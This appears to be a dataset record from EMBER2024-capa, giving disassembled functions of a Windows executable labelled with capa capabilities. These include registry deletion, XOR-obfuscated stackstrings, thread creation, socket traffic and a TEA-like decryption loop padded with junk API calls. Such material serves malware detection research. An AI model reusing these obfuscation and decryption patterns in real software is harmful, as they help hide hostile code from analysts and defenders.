joyce8/EMBER2024-capa huggingface dataset:
Function at 0x476a30
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0xc0c
cmp dword [0x803100], 0x37
jne 0x476ac8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea eax, [esp + 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
lea eax, [esp + 0x10]
push eax
push 0
push 0x404228
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0x404240
push 0x404290
push 0x4042d0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov ecx, dword [0x803104]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x483164]
mov byte [ecx + esi], al
add esp, 0xc0c
ret
Function at 0x476d30
Capabilities:
Enumerate files on windows
Manipulate console buffer
Move file
Read .ini file

Disassembly:
mov eax, dword [0x803100]
mov ecx, dword [0x483164]
sub esp, 0xdbc
push ebx
push ebp
shr eax, 3
xor ebx, ebx
push esi
push edi
cmp eax, ebx
jbe 0x476f44
mov edi, ecx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], eax
jmp 0x476d66
mov edi, dword [esp + 0x1c]
xor ebx, ebx
cmp dword [0x803100], 0x1c
jne 0x476d7d
lea eax, [esp + 0x3c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ecx, dword [edi + 4]
mov edx, dword [0x47c700]
mov eax, dword [0x47c704]
mov esi, dword [edi]
mov ebp, dword [0x47c708]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x47c70c]
mov edi, 0xc6ef3720
mov dword [esp + 0x2c], edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x20], 0x20
jmp 0x476dba
xor ebx, ebx
mov eax, esi
mov edx, esi
shl eax, 4
shr edx, 5
add edx, dword [esp + 0x30]
add eax, ebp
lea ecx, [edi + esi]
xor eax, ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], eax
mov dword [0x802084], ebx
mov eax, dword [esp + 0x18]
add dword [0x802084], eax
mov edx, dword [0x802084]
mov dword [esp + 0x28], edx
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x28]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
sub dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
shl ecx, 4
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x2c]
add dword [esp + 0x10], eax
cmp dword [0x803100], 0x1be
mov eax, dword [esp + 0x14]
lea ebx, [edi + eax]
jne 0x476e54
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [esp + 0x14]
shr eax, 5
add eax, dword [esp + 0x34]
cmp dword [0x803100], 0x979
mov dword [0x802088], 0xff6b3619
mov dword [0x80208c], 0xffffffff
mov dword [esp + 0x18], eax
jne 0x476ebf
push 0x404120
push 0
lea eax, [esp + 0x5d0]
push eax
push 0x404198
push 0x4041b8
push 0x404214
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
lea ecx, [esp + 0x1cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor dword [esp + 0x10], ebx
mov eax, dword [esp + 0x18]
xor dword [esp + 0x10], eax
mov eax, dword [0x803100]
sub esi, dword [esp + 0x10]
cmp eax, 0x93
je 0x476ee1
add edi, 0x61c88647
dec dword [esp + 0x20]
jne 0x476db8
cmp eax, 0x8d4
jne 0x476efd
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov dword [edi], esi
mov dword [edi + 4], eax
cmp dword [0x803100], 0x17
jne 0x476f33
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea ecx, [esp + 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add edi, 8
dec dword [esp + 0x24]
mov dword [esp + 0x1c], edi
jne 0x476d60
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xdbc
ret
Function at 0x401167
Capabilities:
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13a4
call fcn.00444ce0
mov eax, dword [0x476060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x13a4], eax
mov esi, ebx
push edi
mov edi, ecx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401193
sub esi, ecx
cmp esi, 0x139c
jb 0x4011b9
push 0x9d
mov edx, 0x472ca8
mov ecx, str.Assertion_failed__tcslen_pMsgFormat____sizeof_pTempBuffer_
call fcn.0040138c
pop ecx
xor esi, esi
cmp edi, 2
jne 0x4011f4
push dword [0x479004]
lea eax, [ebp - 0x13a0]
push dword [0x479000]
push str._s___d__:
push 0x139b
push eax
call fcn.004014dd
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
jne 0x4011f4
push 2
pop eax
jmp 0x4012c7
push dword [ebp - 0x13a4]
mov eax, 0x139b
push 0
sub eax, esi
push ebx
push eax
lea eax, [ebp - 0x13a0]
add eax, esi
push eax
call fcn.004014ab
add esp, 0x14
cmp eax, 0xffffffff
je 0x4011ec
add esi, eax
cmp esi, 0x139c
jb 0x40123a
push 0xb5
mov edx, 0x472ca8
mov ecx, str.Assertion_failed_len__sizeof_pMsgFormat____sizeof_pTempBuffer_
call fcn.0040138c
pop ecx
cmp edi, 2
jne 0x401263
lea eax, [ebp - 0x13a0]
add eax, esi
push 0x472ddc
push eax
call fcn.00401490
pop ecx
add esi, eax
lea eax, [ebp - 0x13a0]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, 0x139b
jb 0x401280
push 0xc1
mov edx, 0x472ca8
mov ecx, str.Assertion_failed__uint32_t_len____sizeof_pTempBuffer____sizeof_pTempBuffer_0_____1_
call fcn.0040138c
pop ecx
lea eax, [ebp - 0x13a0]
push eax
push 0x472cf0
call fcn.004014ff
pop ecx
xor ebx, ebx
pop ecx
cmp edi, 2
je 0x4012a1
cmp edi, 3
sete bl
inc ebx
mov eax, ebx
sub eax, 0
je 0x4012bf
dec eax
sub eax, 1
jne 0x4012c5
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4012c5
cmp edi, 2
je 0x4012c5
int3
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00443f7b
mov esp, ebp
pop ebp
ret
Function at 0x4028bb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x5c
mov eax, 0x461070
call fcn.00460ae4
mov edi, ecx
mov dword [ebp - 0x5c], edi
xor ebx, ebx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x54], ebx
call fcn.004439dc
push ebx
push 0x2710
push edx
push eax
call fcn.004446a0
push eax
call fcn.0044e1a6
movaps xmm0, xmmword [0x4733a0]
xor esi, esi
mov eax, dword [0x47901c]
inc esi
mov dword [ebp - 0x20], 0x5a595857
mov dword [ebp - 0x1c], 0x34333231
mov dword [ebp - 0x18], 0x38373635
mov word [ebp - 0x14], 0x3039
mov byte [ebp - 0x12], bl
movups xmmword [ebp - 0x50], xmm0
pop ecx
movaps xmm0, xmmword [0x473380]
movups xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [0x473390]
movups xmmword [ebp - 0x30], xmm0
test al, 1
jne 0x40297c
or eax, esi
mov dword [0x47901c], eax
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x50]
mov dword [0x479034], 0xf
lea edx, [ecx + 1]
mov dword [0x479030], ebx
mov byte [0x479020], bl
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40295e
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
call fcn.0040868e
push 0x46116f
call fcn.0044423d
pop ecx
mov dword [edi + 0x14], 0xf
cmp dword [edi + 0x14], 0x10
mov dword [edi + 0x10], ebx
jb 0x402990
mov eax, dword [edi]
jmp 0x402992
mov eax, edi
mov byte [eax], bl
push 8
mov dword [ebp - 4], ebx
pop eax
mov dword [ebp - 0x54], esi
cmp dword [edi + 0x10], eax
jb 0x4029b6
mov dword [edi + 0x10], eax
cmp dword [edi + 0x14], 0x10
jb 0x4029af
mov eax, dword [edi]
jmp 0x4029b1
mov eax, edi
mov byte [eax + 8], bl
jmp 0x4029c2
sub eax, dword [edi + 0x10]
push ecx
push eax
mov ecx, edi
call fcn.00408317
mov esi, dword [0x479030]
call fcn.0044e185
xor edx, edx
mov ecx, 0x479020
div esi
cmp dword [0x479034], 0x10
cmovae ecx, dword [0x479020]
cmp dword [edi + 0x14], 0x10
jb 0x4029ee
mov eax, dword [edi]
jmp 0x4029f0
mov eax, edi
mov cl, byte [ecx + edx]
mov byte [eax + ebx], cl
inc ebx
cmp ebx, 8
jl 0x4029c2
mov eax, edi
call fcn.00460a9f
ret

Function at 0x402c16
Capabilities:
Check os version

Disassembly:
push esi
push edi
mov esi, 0x9c
mov edi, 0x477c30
push esi
push 0
push edi
call fcn.00446ad0
add esp, 0xc
mov dword [0x477c30], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
call esi
test eax, eax
jne 0x402c4e
push edi
mov dword [0x477c30], 0x94
call esi
cmp dword [0x477c40], 2
pop edi
pop esi
jne 0x402c71
mov eax, dword [0x477c34]
cmp eax, 5
jb 0x402c71
jne 0x402c6e
cmp dword [0x477c38], 0
je 0x402c71
mov al, 1
ret
push 0x10
push str.Fatal_Error
push str.ERROR:_Unfortunately__this_doesnt_support_Win95___98___ME___2000___NT_4.0_environment.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
ret
Function at 0x402c88
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x476060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402cb4
mov al, 1
jmp 0x402dc9
lea eax, [ebp - 0x110]
push eax
push 0x20019
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402cd9
cmp eax, 2
sete al
jmp 0x402dc9
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [edi + eax]
cmp byte [esi - 1], 0x5c
je 0x402d71
mov byte [esi], 0x5c
inc esi
xor ecx, ecx
mov byte [esi], cl
jmp 0x402d73
mov ecx, edi
mov byte [esi], 0
call fcn.00401120
lea ecx, [ebp - 0x108]
call fcn.00401120
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x402d12
sub edx, ecx
lea ecx, [ebp - 0x108]
lea eax, [ecx + 1]
mov dword [ebp - 0x114], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d2a
sub ecx, dword [ebp - 0x114]
lea eax, [ecx + edx]
cmp eax, 0x208
jb 0x402d48
mov ecx, 0x207
sub ecx, edx
test ecx, ecx
je 0x402d64
push ecx
lea eax, [ebp - 0x108]
push eax
push edi
call fcn.0044a830
add esp, 0xc
mov byte [eax + 0x207], 0
mov edx, edi
mov ecx, ebx
call fcn.00402c88
test al, al
je 0x402daa
xor ecx, ecx
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x10c], 0x104
push eax
push ecx
push ecx
push ecx
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x108]
push eax
push ecx
push dword [ebp - 0x110]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x402cf8
mov byte [esi - 1], 0
push dword [ebp - 0x110]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
pop esi
sbb al, al
inc al
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00443f7b
mov esp, ebp
pop ebp
ret

Function at 0x402e3c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 0x14], 0
jne 0x402e4c
xor eax, eax
jmp 0x402e7d
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ecx + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402e48
mov eax, dword [ebp - 8]
xor ecx, ecx
cmp dword [ebp - 0xc], 4
cmovne eax, ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x408040
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x476060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 7
xor ebx, ebx
mov dword [ebp - 0x2c], 0x70676779
pop eax
mov dword [ebp - 0x28], 0x3c6874
mov edi, ecx
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], 5
mov dword [ebp - 8], 6
test eax, eax
je 0x4080b3
mov ecx, dword [edx]
lea edx, [edx + 4]
lea eax, [ecx + 0x36]
xor byte [ebp + ecx - 0x2c], al
inc esi
cmp esi, 7
jne 0x4080a1
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], 1
push eax
mov ecx, 0x476e18
call fcn.00402e3c
cmp eax, 1
jne 0x4080d1
xor al, al
jmp 0x408162
push 7
pop eax
mov dword [ebp - 0x2c], 0x70676779
lea edx, [ebp - 0x20]
mov dword [ebp - 0x28], 0x3c6874
mov esi, ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], 5
mov dword [ebp - 8], 6
test eax, eax
je 0x408130
push eax
pop ebx
mov ecx, dword [edx]
lea edx, [edx + 4]
lea eax, [ecx + 0x36]
xor byte [ebp + ecx - 0x2c], al
inc esi
cmp esi, ebx
jne 0x40811d
xor ebx, ebx
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], 1
push eax
mov ecx, 0x476e18
call fcn.00402e3c
cmp eax, 2
je 0x4080ca
push ebx
push ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push ecx
push 0x404875
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 4], eax
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00443f7b
mov esp, ebp
pop ebp
ret
Function at 0x408173
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x476060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x3c], 0x786c7862
push 0xa
pop eax
mov dword [ebp - 0x38], 0x73756476
mov edi, ecx
mov word [ebp - 0x34], 0x3f6d
lea edx, [ebp - 0x2c]
mov byte [ebp - 0x32], bl
mov esi, ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 7
mov dword [ebp - 0xc], 8
mov dword [ebp - 8], 9
test eax, eax
je 0x408204
mov ecx, dword [edx]
lea edx, [edx + 4]
lea eax, [ecx + 0x36]
xor byte [ebp + ecx - 0x3c], al
inc esi
cmp esi, 0xa
jne 0x4081f2
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x32], 1
push eax
mov ecx, 0x476e18
call fcn.00402e3c
cmp eax, 1
jne 0x408222
xor al, al
jmp 0x4082d5
push 0xa
pop eax
mov dword [ebp - 0x3c], 0x786c7862
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x38], 0x73756476
mov esi, ebx
mov word [ebp - 0x34], 0x3f6d
mov byte [ebp - 0x32], bl
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 7
mov dword [ebp - 0xc], 8
mov dword [ebp - 8], 9
test eax, eax
je 0x40829f
push eax
pop ebx
mov ecx, dword [edx]
lea edx, [edx + 4]
lea eax, [ecx + 0x36]
xor byte [ebp + ecx - 0x3c], al
inc esi
cmp esi, ebx
jne 0x40828c
xor ebx, ebx
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x32], 1
push eax
mov ecx, 0x476e18
call fcn.00402e3c
cmp eax, 2
je 0x40821b
push ebx
push ebx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], ebx
push ecx
push 0x406204
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 8], eax
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00443f7b
mov esp, ebp
pop ebp
ret

Function at 0x408b60
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x476060]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x408bb5
mov eax, dword [esp]
cmp al, 2
jne 0x408baf
shr eax, 8
cmp al, 2
jne 0x408baf
call fcn.0040d4c0
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.00443f7b
add esp, 0x194
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x190]
mov eax, 2
xor ecx, esp
call fcn.00443f7b
add esp, 0x194
ret

Function at 0x40dee0
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40defc
cmp dword [esi + 0x48], 0
je 0x40defc
push 2
push 3
push esi
call fcn.00422e70
add esp, 0xc
push dword [esp + 0xc]
call fcn.0041c0c0
add esp, 4
test esi, esi
je 0x40df1d
cmp dword [esi + 0x48], 0
je 0x40df1d
push 3
push esi
call fcn.00422eb0
add esp, 8
pop esi
ret
Function at 0x40e670
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x3a8], 2
je fcn.0040e620
mov al, 1
ret
Function at 0x417fb0
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
push 0x4000
push dword [edi + 0x63c]
call fcn.00423470
mov eax, dword [edi + 0x120]
add esp, 0x10
test eax, eax
je 0x418004
cmp byte [edi + 0x4690], 0
jne 0x418004
push dword [edi + 0x63c]
push 0x472cf0
push 0x100
push eax
call fcn.00423380
add esp, 0x10
mov byte [edi + 0x4690], 1
cmp byte [edi + 0x350], 0
je 0x41808d
mov ecx, dword [edi + 0x63c]
push esi
mov esi, ecx
lea edx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x418020
sub esi, edx
cmp esi, 0x3fff
jae 0x418040
mov byte [ecx + esi], 0xa
inc esi
mov eax, dword [edi + 0x63c]
mov byte [esi + eax], 0
mov eax, dword [edi + 0x190]
push ebx
mov ebx, dword [edi + 0x63c]
test eax, eax
je 0x418065
push dword [edi + 0x11c]
push esi
push ebx
push 0
push edi
call eax
add esp, 0x14
pop ebx
pop esi
pop edi
ret
push dword [edi + 0x118]
push 1
push 2
push 0x463510
call fcn.0044e7ca
push dword [edi + 0x118]
push 1
push esi
push ebx
call fcn.0044e7ca
add esp, 0x20
pop ebx
pop esi
pop edi
ret

Function at 0x418090
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x808
mov eax, dword [0x476060]
xor eax, esp
mov dword [esp + 0x804], eax
push edi
mov edi, dword [esp + 0x810]
test edi, edi
je 0x418159
cmp byte [edi + 0x350], 0
je 0x418159
push esi
lea eax, [esp + 0x81c]
push eax
push dword [esp + 0x81c]
lea eax, [esp + 0x10]
push 0x801
push eax
call fcn.00423470
lea esi, [esp + 0x18]
add esp, 0x10
lea ecx, [esi + 1]
nop word [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4180f0
mov eax, dword [edi + 0x190]
sub esi, ecx
test eax, eax
je 0x41812e
push dword [edi + 0x11c]
lea ecx, [esp + 0xc]
push esi
push ecx
push 0
push edi
call eax
add esp, 0x14
pop esi
pop edi
mov ecx, dword [esp + 0x804]
xor ecx, esp
call fcn.00443f7b
add esp, 0x808
ret
push dword [edi + 0x118]
push 1
push 2
push 0x463510
call fcn.0044e7ca
push dword [edi + 0x118]
lea eax, [esp + 0x1c]
push 1
push esi
push eax
call fcn.0044e7ca
add esp, 0x20
pop esi
mov ecx, dword [esp + 0x808]
pop edi
xor ecx, esp
call fcn.00443f7b
add esp, 0x808
ret

Function at 0x4183c0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push eax
push edi
mov esi, dword [edi + eax*4 + 0x190]
call fcn.004187f0
add esp, 8
push 0
push dword [esp + 0x24]
push dword [esp + 0x24]
push esi
call dword [sym.imp.WS2_32.dll_send]
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [ebp], 0
cmp ebx, 0xffffffff
jne 0x418446
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x41841e
pop edi
pop esi
mov dword [ebp], 0x51
xor eax, eax
pop ebp
pop ebx
ret
push esi
push edi
call fcn.004254b0
push eax
push str.Send_failure:__s
push dword [edi]
call fcn.00417fb0
mov eax, dword [edi]
add esp, 0x14
mov dword [eax + 0x4694], esi
mov eax, ebx
mov dword [ebp], 0x37
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4187f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov eax, edx
push ebx
push esi
shl eax, 4
lea esi, [ecx + 0x1b4]
mov ebx, dword [ecx + edx*4 + 0x190]
add esi, eax
mov eax, dword [ecx + 0x3a0]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x3c], 3
je 0x4188a0
cmp dword [ecx + edx*4 + 0x1a4], 0x418320
jne 0x4188a0
cmp dword [esi], 0
je 0x418837
test edi, edi
je 0x4188a0
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.00417900
add esp, 0x14
cmp eax, 0xffffffff
je 0x4188a0
test al, 1
je 0x4188a0
cmp dword [esi], 0
jne 0x418889
push 0x8000
mov dword [esi + 4], 0x8000
call dword [section..data]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test eax, eax
jne 0x418889
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
ret
mov eax, dword [esi]
add eax, dword [esi + 8]
push 0
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4188a0
add dword [esi + 8], eax
pop edi
pop esi
pop ebx
ret

Function at 0x4188b0
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x190]
test eax, eax
je 0x4188d9
push dword [esi + 0x11c]
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esp + 0x18]
push esi
call eax
add esp, 0x14
pop esi
ret
mov eax, dword [esp + 0xc]
cmp eax, 2
ja 0x418912
push dword [esi + 0x118]
lea eax, [eax + eax*2]
push 1
add eax, 0x463510
push 2
push eax
call fcn.0044e7ca
push dword [esi + 0x118]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call fcn.0044e7ca
add esp, 0x20
xor eax, eax
pop esi
ret

Function at 0x4189e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 4]
cmp byte [eax + 0x1d4], 0
je 0x4189fd
push eax
call fcn.0040ea60
add esp, 4
test eax, eax
jne 0x418a1f
xor al, al
ret
mov eax, dword [eax + 0x190]
cmp eax, 0xffffffff
je 0x4189fa
push 2
push 1
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x418a1f
xor al, al
ret
mov al, 1
ret

Function at 0x4193b0
Capabilities:
Set socket configuration

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
lea eax, [esp + 0xc]
push 4
push eax
push 1
mov esi, dword [edi]
push 6
push dword [esp + 0x20]
mov dword [esp + 0x20], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x4193f8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.004254b0
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.00418090
add esp, 0x14
pop edi
pop esi
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.00418090
add esp, 8
pop edi
pop esi
ret